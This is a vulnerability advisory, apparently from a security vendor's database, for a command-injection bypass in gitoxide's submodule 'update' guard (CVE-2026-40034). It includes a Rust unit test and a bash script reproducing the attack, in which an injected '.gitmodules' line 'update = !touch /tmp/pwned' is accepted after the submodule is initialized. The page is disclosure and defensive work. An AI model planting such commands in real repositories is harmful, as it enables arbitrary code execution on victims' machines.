Summary
gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.
However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.
Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.
On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).
The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.
Details
The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:
pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
let value: Update = match self.config.string(format!("submodule.{name}.update")) {
// ^^^^^^^^^^^^^^^^^^
// [A] Reads the value. gix_config::File::string() iterates sections
// newest-to-oldest; if the override section lacks `update`, it
// falls through to .gitmodules and returns the attacker value.
//
// https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
submodule: name.to_owned(),
actual: v.into_owned(),
})?,
None => return Ok(None),
};
if let Update::Command(cmd) = &value {
let ours = self.config.meta();
let has_value_from_foreign_section = self
.config
.sections_by_name("submodule")
.into_iter()
.flatten()
.any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// [B] Checks only that SOME section with this name exists from a
// non-.gitmodules source. Does NOT check where [A]'s value
// came from.
if !has_value_from_foreign_section {
return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
}
}
Ok(Some(value))
}
PoC
git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.
Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.
So, the attack sequence is:
- Attacker's repo ships a benign
.gitmodules(noupdatekey). - Victim clones and runs
git submodule init->.git/configcontains:[submodule "sub"] active = true url = /tmp/sub-origin - Attacker pushes a new commit adding
update = !cmdto.gitmodules. - Victim runs
git pull->.gitmodulesnow contains:
while[submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned.git/configis unchanged.
This is the precise state that bypasses gitoxide's guard:
- The .git/config entry - even though it contains only url and active - causes
append_submodule_overridesto create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.
The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].
Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.
Option 1: Unit test (verified - passes, confirming the bug)
Drop into gix-submodule/tests/file/mod.rs inside mod update:
#[test]
fn security_bypass_via_partial_override() {
use std::str::FromStr;
// Attacker-controlled .gitmodules
let gitmodules =
"[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";
// Post-`git submodule init` state: only `url` copied to .git/config
let repo_config =
gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();
let module =
gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();
let result = module.update("a".into());
// VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
// SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`
eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok
Option 2: End-to-end - git refuses, gitoxide accepts
Verified with git 2.51.2 and gix @ dd5c18d9e.
#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true
# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp
# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp
# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp
# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp
# --- [4] Victim pulls ---
cd victim
git pull -q
Final state:
--- .gitmodules:
[submodule "sub"]
path = sub
url = /tmp/sub-origin
update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
active = true
url = /tmp/sub-origin
Upstream git on this state:
$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE
Gitoxide on the same state:
// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))
The CommandForbiddenInModulesConfiguration guard never fires.
Direct
Any downstream code built on gix that:
- Calls
Submodule::update()to determine the update strategy, and - Trusts that
Update::Command(_)is safe to execute (becauseCommandForbiddenInModulesConfigurationexists as the documented guard)
…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.
gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:
- The
Submodule::update()API is public atgix/src/submodule/mod.rs:108and delegates directly to the vulnerable function. - The error variant name (
CommandForbiddenInModulesConfiguration) and test suite (valid_in_overridesatgix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of
gixinherits this vulnerability.
Indirect / second-order
- CI/forge integrations that auto-init submodules and then query the update mode
- Editor/IDE extensions using
gixfor submodule info - Gitoxide-based
initequivalents - any tool that implements its own init (writingurlto local config) creates the bypass state without needing the pull-after-init sequence
Impact
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
CVE-2026-40034 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.83.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-40034? CVE-2026-40034 is a high-severity command injection vulnerability in gix (rust), affecting versions >= 0.31.0, < 0.83.0. It is fixed in 0.83.0. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is CVE-2026-40034? CVE-2026-40034 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of gix are affected by CVE-2026-40034? gix (rust) versions >= 0.31.0, < 0.83.0 is affected.
- Is there a fix for CVE-2026-40034? Yes. CVE-2026-40034 is fixed in 0.83.0. Upgrade to this version or later.
- Is CVE-2026-40034 exploitable, and should I be worried? Whether CVE-2026-40034 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-40034 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-40034? Upgrade
gixto 0.83.0 or later.